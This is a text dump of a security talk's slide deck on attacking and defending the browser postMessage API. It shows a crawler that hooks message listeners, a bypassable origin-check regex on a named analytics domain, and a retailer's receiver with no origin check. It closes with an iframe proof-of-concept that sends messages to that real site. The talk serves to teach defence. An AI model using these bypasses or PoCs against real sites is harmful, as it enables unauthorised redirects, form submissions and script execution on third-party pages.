Upload
lukas-klein
View
105
Download
1
Embed Size (px)
Citation preview
THE POSTMAN ALWAYS RINGS TWICE ATTACKING AND DEFENDING postMessage LUKAS KLEIN
1
postMessage?
2
postMessage?
3
postMessage?
•controlled mechanism to circumvent SOP
3
postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
3
postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
3
postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
3
postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
3
postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
3
postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
4
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
5
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
http://hostname:port
6
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
http://hostname:port
7
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
http://hostname:port
8
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
http://hostname:port
9
Potential Problems
10
Potential Problems
•You HAVE to check the origin
10
Potential Problems
•You HAVE to check the origin
11
Potential Problems
•You HAVE to check the origin
•CORRECTLY!
12
Mobile Detector
13
Mobile Detector
14
Mobile Detector
• for site in alexa_top_10000:
14
Mobile Detector
• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)
14
Mobile Detector
• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)
14
Mobile Detector
• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)
14
Mobile Detector
• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)
• if desktop_url != mobile_url:
14
Mobile Detector
• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)
• if desktop_url != mobile_url:• has_mobile_version = True
14
Mobile Detector
15
Mobile Detector
• ~ 2500 dedicated mobile sites
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
• Most common:
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
• Most common:
• m.domain
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
• Most common:
• m.domain
• domain/m
15
Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
• Most common:
• m.domain
• domain/m
• domain/mobile
15
Data Collector
16
Data Collector
17
Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …
17
Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …
page.onInitialized = function() { page.evaluate(function() {
}); };
17
Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …
page.onInitialized = function() { page.evaluate(function() {
}); };
page.open(args[1], function(status) { phantom.exit(); });
17
Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …
page.onInitialized = function() { page.evaluate(function() {
}); };
(function(oldEventListener) { var logReceiver = function(location, name, code) { /* Logs the location, receiver name and receiver code to our web api */ xmlhttp = new XMLHttpRequest(); xmlhttp.open('POST', 'https://collector.herokuapp.com/receivers/', true); var params = 'url=' + encodeURIComponent(location) + \
'&receiver_name=' + encodeURIComponent(name) + \ ’&receiver_code=' + encodeURIComponent(code);
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xmlhttp.setRequestHeader('Content-Length', params.length); xmlhttp.setRequestHeader('Connection', 'close'); xmlhttp.send(params); };
// Overwrite the window.addEventListener function window.addEventListener = function(type, listener, useCapture) { if(/message/i.test(type)) { // If event is of type message logReceiver(document.location, listener.name || '-', listener.toString()); } } })(window.addEventListener);
page.open(args[1], function(status) { phantom.exit(); });
17
Data Collector
18
Data Collector
18
Data Collector
18
Data Collector
18
Data Collector
18
Data Collector
18
19
20
21
22
Data Collector
23
Data Collector
• ~2800 Receivers
23
Data Collector
• ~2800 Receivers
• ~800 Uniques
23
24
function ka(a) { if (/[\/|\.]chartbeat\.com$/.test(a.origin)) { ... } }
25
[\/|\.]chartbeat\.com$
26
[\/|\.]chartbeat\.com$
27
[\/|\.]chartbeat\.com$
/ or | or .
28
lukasklein.com/chartbeat.com
is valid!
29
30
31
32
32
32
32
32
32
33
function (e) { /* Our messages are always exchanged using a string protocol, If the data is not a string, we should skip the parsing */ if (typeof e.data !== 'string') return;
var message = e.data.split(',')[0] var value = e.data.split(',')[1] if ( message === "close" ) { esc(value, true) } if ( message === "redirect" ) { yiel.yieldify_will_redirect = true form_refill_capture(); value = e.data.substring(e.data.indexOf(",")+1) window.location.href = value } if ( message === "direct_show" ) { yiel.fn.deleteYieldifyCookie("after_submit") yiel_visible("campaign",value, true); } if ( message === "form" ) { var s = value.split(';')[1] s = decodeURIComponent(s) var data = {} var sp= s.split('&') var key,aa; var i; for(i=0;i<sp.length;i++){ key = sp[i] aa=key.split('=') data[aa[0]] = aa[1] } if(value.split(';').length == 2){ yiel_post_to_url(value.split(';')[0], data, "") }else{ yiel_post_to_url(value.split(';')[0], data, value.split(';')[2]) } esc(value) } if ( message === "sales" ) { //If click a link and the id for this campaign was asked to track sales then add //a cookie by id for this campaign //The value is the id var track_sales = yiel.overlays_y[value].track_sales if(yiel.website.track_sale!=null && yiel.website.track_sale!="" && track_sales!=null var saleCookie = yiel.fn.getYieldifyCookie("sale") /*if (saleCookie!=null && saleCookie!=""){ value = saleCookie + "," + value }*/
…34
No origin check
at all 35
But wait, there is security!
36
/* Our messages are always exchanged using a string protocol, If the data is not a string, we should skip the parsing */ if (typeof e.data !== 'string') return;
37
38
String protocol
39
message,value
40
message,value
41
message,value
•redirect
41
message,value
•redirect
•form
41
message,value
•redirect
•form
•showalert
41
showalert
if ( message === "showalert" ) { alert(value) }
42
POC
43
<iframe id="victim" src=“\ http://www.anthropologie.eu/mobile/index.jsp?currency=200004"></iframe>
<script> var attack = function() { var victim = document.getElementById('victim').contentWindow; victim.postMessage('showalert,haha', 'http://www.anthropologie.eu'); }; </script> <button onclick="attack()">Attack</button>
44
<iframe id="victim" src=“\ http://www.anthropologie.eu/mobile/index.jsp?currency=200004"></iframe>
<script> var attack = function() { var victim = document.getElementById('victim').contentWindow; victim.postMessage('showalert,haha', 'http://www.anthropologie.eu'); }; </script> <button onclick="attack()">Attack</button>
45
46
47
Q&A
48